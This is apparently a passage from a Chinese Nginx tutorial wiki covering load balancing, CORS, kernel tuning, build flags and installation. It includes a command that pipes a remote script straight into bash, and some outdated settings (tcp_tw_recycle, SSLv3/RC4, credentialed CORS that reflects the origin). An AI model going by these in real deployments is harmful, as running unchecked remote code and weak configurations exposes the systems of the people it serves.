ssl_prefer_server_ciphers on; location / { root /root; index index.html index.htm; }} 负载均衡前面的例子中,代理仅仅指向一个服务器. 但是,网站在实际运营过程中,大部分都是以集群的方式运行,这时需要使用负载均衡来分流. nginx 也可以实现简单的负载均衡功能. 假设这样一个应用场景:将应用部署在 192.168.1.11:80、192.168.1.12:80、192.168.1.13:80 三台 linux 环境的服务器上.网站域名叫 www.helloworld.com ,公网 IP 为 192.168.1.11.在公网 IP 所在的服务器上部署 nginx,对所有请求做负载均衡处理(下面例子中使用的是加权轮询策略). nginx.conf 配置如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748http { #设定mime类型,类型由mime.type文件定义 include /etc/nginx/mime.types; default_type application/octet-stream; #设定日志格式 access_log /var/log/nginx/access.log; #设定负载均衡的服务器列表 upstream load_balance_server { #weigth参数表示权值,权值越高被分配到的几率越大 server 192.168.1.11:80 weight=5; server 192.168.1.12:80 weight=1; server 192.168.1.13:80 weight=6; } #HTTP服务器 server { #侦听80端口 listen 80; #定义使用www.xx.com访问 server_name www.helloworld.com; #对所有请求进行负载均衡请求 location / { root /root; #定义服务器的默认网站根目录位置 index index.html index.htm; #定义首页索引文件的名称 proxy_pass http://load_balance_server ;#请求转向load_balance_server 定义的服务器列表 #以下是一些反向代理的配置(可选择性配置) #proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; #后端的Web服务器可以通过X-Forwarded-For获取用户真实IP proxy_set_header X-Forwarded-For $remote_addr; proxy_connect_timeout 90; #nginx跟后端服务器连接超时时间(代理连接超时) proxy_send_timeout 90; #后端服务器数据回传时间(代理发送超时) proxy_read_timeout 90; #连接成功后,后端服务器响应时间(代理接收超时) proxy_buffer_size 4k; #设置代理服务器(nginx)保存用户头信息的缓冲区大小 proxy_buffers 4 32k; #proxy_buffers缓冲区,网页平均在32k以下的话,这样设置 proxy_busy_buffers_size 64k; #高负荷下缓冲大小(proxy_buffers*2) proxy_temp_file_write_size 64k; #设定缓存文件夹大小,大于这个值,将从upstream服务器传 client_max_body_size 10m; #允许客户端请求的最大单文件字节数 client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数 } }} 负载均衡策略Nginx 提供了多种负载均衡策略,让我们来一一了解一下: 负载均衡策略在各种分布式系统中基本上原理一致,对于原理有兴趣,不妨参考 负载均衡 轮询123456upstream bck_testing_01 { # 默认所有服务器权重为 1 server 192.168.250.220:8080 server 192.168.250.221:8080 server 192.168.250.222:8080} 加权轮询12345upstream bck_testing_01 { server 192.168.250.220:8080 weight=3 server 192.168.250.221:8080 # default weight=1 server 192.168.250.222:8080 # default weight=1} 最少连接12345678upstream bck_testing_01 { least_conn; # with default weight for all (weight=1) server 192.168.250.220:8080 server 192.168.250.221:8080 server 192.168.250.222:8080} 加权最少连接1234567upstream bck_testing_01 { least_conn; server 192.168.250.220:8080 weight=3 server 192.168.250.221:8080 # default weight=1 server 192.168.250.222:8080 # default weight=1} IP Hash12345678910upstream bck_testing_01 { ip_hash; # with default weight for all (weight=1) server 192.168.250.220:8080 server 192.168.250.221:8080 server 192.168.250.222:8080} 普通 Hash12345678910upstream bck_testing_01 { hash $request_uri; # with default weight for all (weight=1) server 192.168.250.220:8080 server 192.168.250.221:8080 server 192.168.250.222:8080} 网站有多个 webapp 的配置当一个网站功能越来越丰富时,往往需要将一些功能相对独立的模块剥离出来,独立维护.这样的话,通常,会有多个 webapp. 举个例子:假如 www.helloworld.com 站点有好几个 webapp,finance(金融)、product(产品)、admin(用户中心).访问这些应用的方式通过上下文(context)来进行区分: www.helloworld.com/finance/ www.helloworld.com/product/ www.helloworld.com/admin/ 我们知道,http 的默认端口号是 80,如果在一台服务器上同时启动这 3 个 webapp 应用,都用 80 端口,肯定是不成的.所以,这三个应用需要分别绑定不同的端口号. 那么,问题来了,用户在实际访问 www.helloworld.com 站点时,访问不同 webapp,总不会还带着对应的端口号去访问吧.所以,你再次需要用到反向代理来做处理. 配置也不难,来看看怎么做吧: 1234567891011121314151617181920212223242526272829303132333435http {\t#此处省略一些基本配置\tupstream product_server{ server www.helloworld.com:8081;\t}\tupstream admin_server{ server www.helloworld.com:8082;\t}\tupstream finance_server{ server www.helloworld.com:8083;\t}\tserver { #此处省略一些基本配置 #默认指向product的server location / { proxy_pass http://product_server; } location /product/{ proxy_pass http://product_server; } location /admin/ { proxy_pass http://admin_server; } location /finance/ { proxy_pass http://finance_server; }\t}} 搭建文件服务器有时候,团队需要归档一些数据或资料,那么文件服务器必不可少.使用 Nginx 可以非常快速便捷的搭建一个简易的文件服务. Nginx 中的配置要点: 将 autoindex 开启可以显示目录,默认不开启. 将 autoindex_exact_size 开启可以显示文件的大小. 将 autoindex_localtime 开启可以显示文件的修改时间. root 用来设置开放为文件服务的根路径. charset 设置为 charset utf-8,gbk;,可以避免中文乱码问题(windows 服务器下设置后,依然乱码,本人暂时没有找到解决方法). 一个最简化的配置如下: 12345678910autoindex on;# 显示目录autoindex_exact_size on;# 显示文件大小autoindex_localtime on;# 显示文件时间server { charset utf-8,gbk; # windows 服务器下设置后,依然乱码,暂时无解 listen 9050; server_name _; root /share/fs;} 解决跨域web 领域开发中,经常采用前后端分离模式.这种模式下,前端和后端分别是独立的 web 应用程序,例如:后端是 Java 程序,前端是 React 或 Vue 应用. 各自独立的 web app 在互相访问时,势必存在跨域问题.解决跨域问题一般有两种思路: CORS 在后端服务器设置 HTTP 响应头,把你需要允许访问的域名加入 Access-Control-Allow-Origin 中. jsonp 把后端根据请求,构造 json 数据,并返回,前端用 jsonp 跨域. 这两种思路,本文不展开讨论. 需要说明的是,nginx 根据第一种思路,也提供了一种解决跨域的解决方案. 举例:www.helloworld.com 网站是由一个前端 app ,一个后端 app 组成的.前端端口号为 9000, 后端端口号为 8080. 前端和后端如果使用 http 进行交互时,请求会被拒绝,因为存在跨域问题.来看看,nginx 是怎么解决的吧: 首先,在 enable-cors.conf 文件中设置 cors : 1234567891011121314151617181920212223242526# allow origin listset $ACAO '*';# set single originif ($http_origin ~* (www.helloworld.com)$) { set $ACAO $http_origin;}if ($cors = "trueget") {\tadd_header 'Access-Control-Allow-Origin' "$http_origin";\tadd_header 'Access-Control-Allow-Credentials' 'true';\tadd_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';\tadd_header 'Access-Control-Allow-Headers' 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';}if ($request_method = 'OPTIONS') { set $cors "${cors}options";}if ($request_method = 'GET') { set $cors "${cors}get";}if ($request_method = 'POST') { set $cors "${cors}post";} 接下来,在你的服务器中 include enable-cors.conf 来引入跨域配置: 12345678910111213141516171819202122232425262728# ----------------------------------------------------# 此文件为项目 nginx 配置片段# 可以直接在 nginx config 中 include(推荐)# 或者 copy 到现有 nginx 中,自行配置# www.helloworld.com 域名需配合 dns hosts 进行配置# 其中,api 开启了 cors,需配合本目录下另一份配置文件# ----------------------------------------------------upstream front_server{ server www.helloworld.com:9000;}upstream api_server{ server www.helloworld.com:8080;}server { listen 80; server_name www.helloworld.com; location ~ ^/api/ { include enable-cors.conf; proxy_pass http://api_server; rewrite "^/api/(.*)$" /$1 break; } location ~ ^/ { proxy_pass http://front_server; }} 到此,就完成了. Nginx问题集Nginx 出现大量 TIME_WAIT检测TIME_WAIT状态的语句123456$ netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' SYN_RECV 7ESTABLISHED 756FIN_WAIT1 21SYN_SENT 3TIME_WAIT 2000 状态解析: CLOSED - 无连接是活动的或正在进行 LISTEN - 服务器在等待进入呼叫 SYN_RECV - 一个连接请求已经到达,等待确认 SYN_SENT - 应用已经开始,打开一个连接 ESTABLISHED - 正常数据传输状态 FIN_WAIT1 - 应用说它已经完成 FIN_WAIT2 - 另一边已同意释放 ITMED_WAIT - 等待所有分组死掉 CLOSING - 两边同时尝试关闭 TIME_WAIT - 另一边已初始化一个释放 LAST_ACK - 等待所有分组死掉 解决方法执行 vim /etc/sysctl.conf,并添加下面字段 1234net.ipv4.tcp_syncookies = 1net.ipv4.tcp_tw_reuse = 1net.ipv4.tcp_tw_recycle = 1net.ipv4.tcp_fin_timeout = 30 执行 /sbin/sysctl -p 让修改生效. 上传文件大小限制问题现象显示错误信息:413 Request Entity Too Large. 意思是请求的内容过大,浏览器不能正确显示.常见的情况是发送 POST 请求来上传大文件. 解决方法 可以在 http 模块中设置:client_max_body_size 20m; 可以在 server 模块中设置:client_max_body_size 20m; 可以在 location 模块中设置:client_max_body_size 20m; 三者区别是: 如果文大小限制设置在 http 模块中,则对所有 Nginx 收到的请求. 如果文大小限制设置在 server 模块中,则只对该 server 收到的请求生效. 如果文大小限制设置在 location 模块中,则只对匹配了 location 路由规则的请求生效. 请求时间限制问题现象请求时间较长,链接被重置页面刷新.常见的情况是:上传、下载大文件. 解决方法修改超时时间 Nginx编译参数详解理论上来说 Nginx 没有必选参数,所有参数都是可选的,基本上只添加--prefix参数即可,但不选任何参数就毫无意义了. Nginx 的核心功能包括 HTTP 、 Mail 和 Stream ,本文将以核心功能为区分解析 Nginx 的编译参数. 可能仅介绍一些核心参数,对于非核心参数请查看 Nginx 官方文档. 基础路径类 参数 示例值 说明 --prefix=<path> /etc/nginx Nginx 安装的根路径, 所有其它路径类参数都要依赖该选项 --sbin-path=<path> /usr/sbin/nginx Nginx 二进制文件路径, 不指定则使用<prefix>/sbin/nginx --conf-path=<path> /etc/nginx/nginx.conf 配置文件默认路径, 不指定则需要在运行时附带-c参数 --error-log-path=<path> /var/log/nginx/error.log 错误日志路径, 可以被配置文件中的配置项覆盖掉 --pid-path=<path> /var/run/nginx.pid Nginx 主进程 PID 写入位置 --user=<user> nginx Worker 进程运行的用户 --group=<group> nginx Worker 进程运行的组 --modules-path=<path> /usr/lib/nginx/modules Nginx 模块路径 --lock-path=<path> /var/run/nginx.lock Lock文件位置 --http-log-path /var/log/nginx/access.log HTTP 访问日志位置 HTTP 功能类 参数 说明 --with-http_ssl_module 启用SSL支持 --with-http_v2_module 启用HTTP2支持 --with-http_realip_module 当Nginx服务器在反向代理后面的时候, 该模块可让 Nginx 知晓真正的用户IP --with-http_addition_module 过滤相应前后的文本 --with-http_image_filter_module 转换 JPEG、GIF、PNG 和 WebP 格式图像 该模块可被编译为动态模块 --with-http_sub_module 可以替换指定的字符串来修改响应数据 --with-http_dav_module 开启 WebDAV 协议 --with-http_flv_module 对 Flash 启用服务端支持 --with-http_mp4_module 对 MP4 文件启用服务端支持 --with-http_gunzip_module 对不支持 gzip 编码方法的客户端解压缩 Content-Encoding:gzip 的响应. 可以存储压缩数据以节省空间并降低 I/O 成本 --with-http_gzip_static_module 发送以 .gz 结尾的预压缩文件替代普通文件 --with-http_auth_request_module 基于子请求结果实现客户端授权 --with-http_random_index_module 随机选择目录中的文件作为索引文件展示 --with-http_secure_link_module 用于检查请求链接的真实性, 保护资源免受未经授权的访问, 并限制链接有效时长. --with-http_degradation_module 用于当主机剩余内存较低时,用户请求访问, Nginx会对某些请求返回204或444的响应码 --with-http_slice_module 将请求切片并返回 --with-http_stub_status_module 提供对基本状态信息的访问的支持 --without-http 禁用 HTTP 功能 --without-http-cache 禁用 HTTP 缓存功能 邮件类 参数 说明 --with-mail 启用邮件功能 该模块可被编译为动态模块 --with-mail_ssl_module 对邮件功能启用SSL --without-mail_pop3_module 禁用POP3 --without-mail_imap_module 禁用IMAP --without-mail_smtp_module 禁用SMTP 其他参数 参数 说明 --with-google_perftools_module 可以使用 Google 性能工具 对 nginx 的 worker 进程进行分析 --with-compat 启用动态模块兼容性 --with-file-aio 启用异步IO --with-threads 启用线程池功能 --with-cpu-opt=<cpu> 为特定的CPU执行编译操作 有效的值:pentium,pentiumpro,pentium3,pentium4,athlon,opteron,sparc32,sparc64,ppc64. 模块配置示例http_random_index_module123location / { random_index on;} http_stub_status_module123location = /basic_status { stub_status;} 其他附加模块ngx_brotli Brotli 是基于LZ77算法的一个现代变体、霍夫曼编码和二阶上下文建模.Google软件工程师在2015年9月发布了包含通用无损数据压缩的Brotli增强版本,特别侧重于HTTP压缩.其中的编码器被部分改写以提高压缩比,编码器和解码器都提高了速度,流式API已被改进,增加更多压缩质量级别. 与常见的通用压缩算法不同,Brotli使用一个预定义的120千字节字典.该字典包含超过13000个常用单词、短语和其他子字符串,这些来自一个文本和HTML文档的大型语料库.预定义的算法可以提升较小文件的压缩密度. 使用Brotli替换Deflate来对文本文件压缩通常可以增加20%的压缩密度,而压缩与解压缩速度则大致不变. 下载源码 123cd /usr/local/src/git clone https://github.com/google/ngx_brotlicd ngx_brotli && git submodule update --init 重新编译 Nginx 编译时只需要在原有的编译参数后面添加--add-module=/usr/local/src/ngx_brotli. 12# 示例如下:./configure --prefix=/usr/share/nginx --with-http_ssl_module --add-module=/usr/local/src/ngx_brotli 检查是否安装成功 1nginx -V 输出中有ngx_brotli字样即为成功. 修改配置文件 1234#Brotli Compressionbrotli on; # switchbrotli_comp_level 6; # level 1-11brotli_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/javascript image/svg+xml; 其中brotli_comp_level值为压缩比,1 压缩比最小,处理速度最快,11 压缩比最大,传输速度快,但是处理慢,也比较消耗CPU资源.","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"一. Nginx从入门到精通(上)","path":"/wiki/MiddlewareDocs/一. Nginx从入门到精通(上).html","content":"总字符数: 8.92K 代码: 2.68K, 文本: 3.27K 预计阅读时间: 26 分钟 examples目录中的示例模拟了工作中的一些常用实战场景,并且都可以通过脚本一键式启动,让您可以快速看到演示效果. Nginx 简介什么是 NginxNginx (engine x) 是一款轻量级的 Web 服务器 、反向代理服务器及电子邮件(IMAP/POP3)代理服务器. 什么是反向代理反向代理(Reverse Proxy)方式是指以代理服务器来接受 internet 上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给 internet 上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器. Ngnix 特点 模块化设计:良好的扩展性,可以通过模块方式进行功能扩展. 高可靠性:主控进程和 worker 是同步实现的,一个 worker 出现问题,会立刻启动另一个 worker. 内存消耗低:一万个长连接(keep-alive),仅消耗 2.5MB 内存. 支持热部署:不用停止服务器,实现更新配置文件,更换日志文件、更新服务器程序版本. 并发能力强:官方数据每秒支持 5 万并发; 功能丰富:优秀的反向代理功能和灵活的负载均衡策略 Nginx 功能 支持静态资源的 web 服务器. http,smtp,pop3 协议的反向代理服务器、缓存、负载均衡; 支持 FASTCGI(fpm) 支持模块化,过滤器(让文本可以实现压缩,节约带宽),ssl 及图像大小调整. 内置的健康检查功能 基于名称和 ip 的虚拟主机 定制访问日志 支持平滑升级 支持 KEEPALIVE 支持 url rewrite 支持路径别名 支持基于 IP 和用户名的访问控制. 支持传输速率限制,支持并发数限制. Nginx 性能Nginx 的高并发,官方测试支持 5 万并发连接.实际生产环境能到 2-3 万并发连接数.10000 个非活跃的 HTTP keep-alive 连接仅占用约 2.5MB 内存.三万并发连接下,10 个 Nginx 进程,消耗内存 150M.淘宝 tengine 团队测试结果是”24G 内存机器上,处理并发请求可达 200 万”. Ngnix 架构主从模式 Nginx采用一主多从的主从架构 但是这里 master 是使用 root 身份启动的,因为 nginx 要工作在 80 端口.而只有管理员才有权限启动小于低于 1023 的端口.master 主要是负责的作用只是启动 worker,加载配置文件,负责系统的平滑升级.其它的工作是交给 worker.那么当 worker 被启动之后,也只是负责一些 web 最简单的工作,而其他的工作都是有 worker 中调用的模块来实现的. 模块之间是以流水线的方式实现功能的.流水线,指的是一个用户请求,由多个模块组合各自的功能依次实现完成的.比如:第一个模块只负责分析请求首部,第二个模块只负责查找数据,第三个模块只负责压缩数据,依次完成各自工作.来实现整个工作的完成. 他们是如何实现热部署的呢?其实是这样的,我们前面说 master 不负责具体的工作,而是调用 worker 工作,他只是负责读取配置文件,因此当一个模块修改或者配置文件发生变化,是由 master 进行读取,因此此时不会影响到 worker 工作.在 master 进行读取配置文件之后,不会立即的把修改的配置文件告知 worker.而是让被修改的 worker 继续使用老的配置文件工作,当 worker 工作完毕之后,直接Down掉这个子进程,更换新的子进程,使用新的规则. sendfile 机制Nginx支持 sendfile 机制 所谓 Sendfile 机制,是指:用户将请求发给内核,内核根据用户的请求调用相应用户进程,进程在处理时需要资源.此时再把请求发给内核(进程没有直接 IO 的能力),由内核加载数据.内核查找到数据之后,会把数据复制给用户进程,由用户进程对数据进行封装,之后交给内核,内核在进行 tcp/ip 首部的封装,最后再发给客户端.这个功能用户进程只是发生了一个封装报文的过程,却要绕一大圈.因此 nginx 引入了 sendfile 机制,使得内核在接受到数据之后,不再依靠用户进程给予封装,而是自己查找自己封装,减少了一个很长一段时间的浪费,这是一个提升性能的核心点. 以上内容摘自网友发布的文章,简单一句话是资源的处理,直接通过内核层进行数据传递,避免了数据传递到应用层,应用层再传递到内核层的开销. 目前高并发的处理,一般都采用 sendfile 模式.通过直接操作内核层数据,减少应用与内核层数据传递. I/O 复用机制Nginx通信模型采用 I/O 复用机制 开发模型:epoll 和 kqueue. 支持的事件机制:kqueue、epoll、rt signals、/dev/poll 、event ports、select 以及 poll. 支持的 kqueue 特性包括 EV_CLEAR、EV_DISABLE、NOTE_LOWAT、EV_EOF,可用数据的数量,错误代码. 支持 sendfile、sendfile64 和 sendfilev;文件 AIO;DIRECTIO;支持 Accept-filters 和 TCP_DEFER_ACCEP. 以上概念较多,大家自行百度或谷歌,知识领域是网络通信(BIO,NIO,AIO)和多线程方面的知识. Nginx 负载均衡(SLB)nginx 的负载均衡策略可以划分为两大类:内置策略和扩展策略.内置策略包含加权轮询和 ip hash,在默认情况下这两种策略会编译进 nginx 内核,只需在 nginx 配置中指明参数即可.扩展策略有很多,如 fair、通用 hash、consistent hash 等,默认不编译进 nginx 内核.由于在 nginx 版本升级中负载均衡的代码没有本质性的变化,因此下面将以 nginx 1.0.15 稳定版为例,从源码角度分析各个策略. 加权轮询Nginx支持加权轮询(Weighted Round Robin)负载均衡. 轮询的原理很简单,首先我们介绍一下轮询的基本流程.如下是处理一次请求的流程图: 图中有两点需要注意,第一,如果可以把加权轮询算法分为先深搜索和先广搜索,那么 nginx 采用的是先深搜索算法,即将首先将请求都分给高权重的机器,直到该机器的权值降到了比其他机器低,才开始将请求分给下一个高权重的机器;第二,当所有后端机器都 down 掉时,nginx 会立即将所有机器的标志位清成初始状态,以避免造成所有的机器都处在 timeout 的状态,从而导致整个前端被夯住. Ip HashNginx支持 Ip Hash 负载均衡 通过 Ip Hash 这种负载均衡策略,可以实现会话粘滞. Fairfair 策略是扩展策略,默认不被编译进 nginx 内核.其原理是根据后端服务器的响应时间判断负载情况,从中选出负载最轻的机器进行分流.这种策略具有很强的自适应性,但是实际的网络环境往往不是那么简单,因此要慎用. 通用 Hash、一致性 Hash这两种也是扩展策略,在具体的实现上有些差别,通用 hash 比较简单,可以以 nginx 内置的变量为 key 进行 hash,一致性 hash 采用了 nginx 内置的一致性 hash 环,可以支持 memcache. Nginx 场景Ngnix 一般作为入口负载均衡或内部负载均衡,结合反向代理服务器使用.以下架构示例,仅供参考,具体使用根据场景而定. 入口负载均衡架构 Ngnix 服务器在用户访问的最前端.根据用户请求再转发到具体的应用服务器或二级负载均衡服务器(LVS) 内部负载均衡架构 LVS 作为入口负载均衡,将请求转发到二级 Ngnix 服务器,Ngnix 再根据请求转发到具体的应用服务器. Ngnix 高可用 分布式系统中,应用只部署一台服务器会存在单点故障,负载均衡同样有类似的问题.一般可采用主备或负载均衡设备集群的方式节约单点故障或高并发请求分流. Ngnix 高可用,至少包含两个 Ngnix 服务器,一台主服务器,一台备服务器,之间使用 Keepalived 做健康监控和故障检测.开放 VIP 端口,通过防火墙进行外部映射. DNS 解析公网的 IP 实际为 VIP. Nginx 入门Nginx安装普通安装Windows 安装(1)进入官方下载地址,选择合适版本(nginx/Windows-xxx). (2)解压到本地 (3)启动 下面以 C 盘根目录为例说明下: 12start nginxnginx.exe -s stop 注:Nginx / Win32 是运行在一个控制台程序,而非 windows 服务方式的.服务器方式目前还是开发尝试中. Linux 安装rpm 包方式12345678910111213# 进入工作目录cd /opt# 进入下载页面:http://nginx.org/packages/选择合适版本下载wget http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm# 安装 nginx rpm 包 nginx rpm 包实际上安装的是 nginx 的 yum 源.rpm -ivh nginx-*.rpm# 正式安装 rpm 包yum install nginx -y# 启动nginxsystemctl start nginx.service# 防火墙放行80端口firewall-cmd --zone=public --add-port=80/tcp --permanentfirewall-cmd --reload 源码编译方式12345678910111213141516171819202122232425262728293031# Nginx 源码的编译依赖于 gcc 以及一些库文件,所以必须提前安装.yum install -y deltarpm gcc gcc-c++ unixODBC-devel httpd mysql-devel libcurl libcurl-devel libevent libevent-devel curl-devel libxml2 libxml2-devel net-snmp-devel pcre-devel java-devel openssl-devel perl-ExtUtils-Embed at python subversion gperf make rpm-build git bzip2-devel gd gd-devel t1lib t1lib-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel vim wget git libtool make automake mlocate pam-devel unzip screen openssl iptables-services bash-completion* libxslt* curl net-tools libssh2-devel# 进入官网下载地址:http://nginx.org/en/download.html ,选择合适的版本下载.cd /optwget http://nginx.org/download/nginx-1.12.2.tar.gz# 解压tar -zxvf nginx-1.12.2.tar.gz# 进入目录cd nginx-1.12.2/# 编译安装./configure \\ --prefix=/usr/local/nginx \\ --pid-path=/var/run/nginx/nginx.pid \\ --lock-path=/var/lock/nginx.lock \\ --error-log-path=/var/log/nginx/error.log \\ --http-log-path=/var/log/nginx/access.log \\ --with-http_gzip_static_module \\ --http-client-body-temp-path=/var/temp/nginx/client \\ --http-proxy-temp-path=/var/temp/nginx/proxy \\ --http-fastcgi-temp-path=/var/temp/nginx/fastcgi \\ --http-uwsgi-temp-path=/var/temp/nginx/uwsgi \\ --http-scgi-temp-path=/var/temp/nginx/scgi# 安装make && make install# 放行防火墙firewall-cmd --zone=public --add-port=80/tcp --permanentfirewall-cmd --reload# 启动 Nginx 安装成功后,直接执行 nginx 命令即可启动 nginx.nginx Docker 安装 官网镜像:https://hub.docker.com/_/nginx/ 下载镜像:docker pull nginx 启动容器:docker run -d -p 80:80 --name my-nginx nginx 重新加载配置(目前测试无效,只能重启服务):docker exec -it my-nginx nginx -s reload 停止服务:docker exec -it my-nginx nginx -s stop 或者:docker stop my-nginx 重新启动服务:docker restart my-nginx 查看正在运行的容器:docker ps 脚本 CentOS7 环境安装脚本:软件运维配置脚本集合 安装说明 采用编译方式安装 Nginx, 并将其注册为 systemd 服务 安装路径为:/usr/local/nginx 默认下载安装 1.16.0 版本 使用方法 默认安装 - 执行以下任意命令即可: 1wget -qO- https://gitee.com/turnon/linux-tutorial/raw/master/codes/linux/soft/nginx-install.sh | bash 自定义安装 - 下载脚本到本地,并按照以下格式执行: 1sh nginx-install.sh [version] Nginx常用命令nginx 的使用比较简单,就是几条命令. 常用到的命令如下: 12345678nginx -s stop 快速关闭Nginx,可能不保存相关信息,并迅速终止web服务.nginx -s quit 平稳关闭Nginx,保存相关信息,有安排的结束web服务.nginx -s reload 因改变了Nginx相关配置,需要重新加载配置而重载.nginx -s reopen 重新打开日志文件.nginx -c filename 为 Nginx 指定一个配置文件,来代替缺省的.nginx -t 不运行,仅仅测试配置文件.nginx 将检查配置文件的语法的正确性,并尝试打开配置文件中所引用到的文件.nginx -v 显示 nginx 的版本.nginx -V 显示 nginx 的版本,编译器版本和配置参数. 如果不想每次都敲命令,可以在 nginx 安装目录下新添一个启动批处理文件startup.bat,双击即可运行.内容如下: 123456789101112@echo offrem 如果启动前已经启动nginx并记录下pid文件,会kill指定进程nginx.exe -s stoprem 测试配置文件语法正确性nginx.exe -t -c conf/nginx.confrem 显示版本信息nginx.exe -vrem 按照指定配置去启动nginxnginx.exe -c conf/nginx.conf 如果是运行在 Linux 下,写一个 shell 脚本,大同小异","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"二. Nginx 配置文件详解","path":"/wiki/MiddlewareDocs/二. Nginx 配置文件详解.html","content":"总字符数: 33.74K 代码: 21.74K, 文本: 8.64K 预计阅读时间: 2.20 小时 Nginx 配置 Nginx 的默认配置文件为 nginx.conf. nginx -c xxx.conf - 以指定的文件作为配置文件,启动 Nginx. 配置文件实例以下为一个 nginx.conf 配置文件实例: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185#定义 nginx 运行的用户和用户组user www;#nginx 进程数,建议设置为等于 CPU 总核心数.worker_processes 8;#nginx 默认没有开启利用多核 CPU, 通过增加 worker_cpu_affinity 配置参数来充分利用多核 CPU 以下是 8 核的配置参数worker_cpu_affinity 00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000;#全局错误日志定义类型,[ debug | info | notice | warn | error | crit ]error_log /var/log/nginx/error.log info;#进程文件pid /var/run/nginx.pid;#一个 nginx 进程打开的最多文件描述符数目,理论值应该是最多打开文件数(系统的值 ulimit -n)与 nginx 进程数相除,但是 nginx 分配请求并不均匀,所以建议与 ulimit -n 的值保持一致.worker_rlimit_nofile 65535;#工作模式与连接数上限events{ #参考事件模型,use [ kqueue | rtsig | epoll | /dev/poll | select | poll ]; epoll 模型是 Linux 2.6 以上版本内核中的高性能网络 I/O 模型,如果跑在 FreeBSD 上面,就用 kqueue 模型. #epoll 是多路复用 IO(I/O Multiplexing) 中的一种方式,但是仅用于 linux2.6 以上内核,可以大大提高 nginx 的性能 use epoll; #单个后台 worker process 进程的最大并发链接数 #事件模块指令,定义 nginx 每个进程最大连接数,默认 1024.最大客户连接数由 worker_processes 和 worker_connections 决定 #即 max_client=worker_processes*worker_connections, 在作为反向代理时:max_client=worker_processes*worker_connections / 4 worker_connections 65535;}#设定 http 服务器http { include mime.types; #文件扩展名与文件类型映射表 default_type application/octet-stream; #默认文件类型 charset utf-8; #默认编码 server_names_hash_bucket_size 128; #服务器名字的 hash 表大小 client_header_buffer_size 32k; #上传文件大小限制 large_client_header_buffers 4 64k; #设定请求缓 client_max_body_size 8m; #设定请求缓 sendfile on; #开启高效文件传输模式,sendfile 指令指定 nginx 是否调用 sendfile 函数来输出文件,对于普通应用设为 on,如果用来进行下载等应用磁盘 IO 重负载应用,可设置为 off,以平衡磁盘与网络 I/O 处理速度,降低系统的负载.注意:如果图片显示不正常把这个改成 off. autoindex on; #开启目录列表访问,合适下载服务器,默认关闭. tcp_nopush on; #防止网络阻塞 tcp_nodelay on; #防止网络阻塞 ##连接客户端超时时间各种参数设置## keepalive_timeout 120; #单位是秒,客户端连接时时间,超时之后服务器端自动关闭该连接 如果 nginx 守护进程在这个等待的时间里,一直没有收到浏览发过来 http 请求,则关闭这个 http 连接 client_header_timeout 10; #客户端请求头的超时时间 client_body_timeout 10; #客户端请求主体超时时间 reset_timedout_connection on; #告诉 nginx 关闭不响应的客户端连接.这将会释放那个客户端所占有的内存空间 send_timeout 10; #客户端响应超时时间,在两次客户端读取操作之间.如果在这段时间内,客户端没有读取任何数据,nginx 就会关闭连接 #FastCGI 相关参数是为了改善网站的性能:减少资源占用,提高访问速度.下面参数看字面意思都能理解. fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; fastcgi_buffer_size 64k; fastcgi_buffers 4 64k; fastcgi_busy_buffers_size 128k; fastcgi_temp_file_write_size 128k; ###作为代理缓存服务器设置####### ###先写到 temp 再移动到 cache #proxy_cache_path /var/tmp/nginx/proxy_cache levels=1:2 keys_zone=cache_one:512m inactive=10m max_size=64m; ###以上 proxy_temp 和 proxy_cache 需要在同一个分区中 ###levels=1:2 表示缓存级别,表示缓存目录的第一级目录是 1 个字符,第二级目录是 2 个字符 keys_zone=cache_one:128m 缓存空间起名为 cache_one 大小为 512m ###max_size=64m 表示单个文件超过 128m 就不缓存了 inactive=10m 表示缓存的数据,10 分钟内没有被访问过就删除 #########end#################### #####对传输文件压缩########### #gzip 模块设置 gzip on; #开启 gzip 压缩输出 gzip_min_length 1k; #最小压缩文件大小 gzip_buffers 4 16k; #压缩缓冲区 gzip_http_version 1.0; #压缩版本(默认 1.1,前端如果是 squid2.5 请使用 1.0) gzip_comp_level 2; #压缩等级,gzip 压缩比,1 为最小,处理最快;9 为压缩比最大,处理最慢,传输速度最快,也最消耗 CPU; gzip_types text/plain application/x-javascript text/css application/xml; #压缩类型,默认就已经包含 text/html,所以下面就不用再写了,写上去也不会有问题,但是会有一个 warn. gzip_vary on; ############################## #limit_zone crawler $binary_remote_addr 10m; #开启限制 IP 连接数的时候需要使用 upstream blog.ha97.com { #upstream 的负载均衡,weight 是权重,可以根据机器配置定义权重.weigth 参数表示权值,权值越高被分配到的几率越大. server 192.168.80.121:80 weight=3; server 192.168.80.122:80 weight=2; server 192.168.80.123:80 weight=3; } #虚拟主机的配置 server { #监听端口 listen 80; #############https################## #listen 443 ssl; #ssl_certificate /opt/https/xxxxxx.crt; #ssl_certificate_key /opt/https/xxxxxx.key; #ssl_protocols SSLv3 TLSv1; #ssl_ciphers HIGH:!ADH:!EXPORT57:RC4+RSA:+MEDIUM; #ssl_prefer_server_ciphers on; #ssl_session_cache shared:SSL:2m; #ssl_session_timeout 5m; ####################################end #域名可以有多个,用空格隔开 server_name www.ha97.com ha97.com; index index.html index.htm index.php; root /data/www/ha97; location ~ .*.(php|php5)?$ { 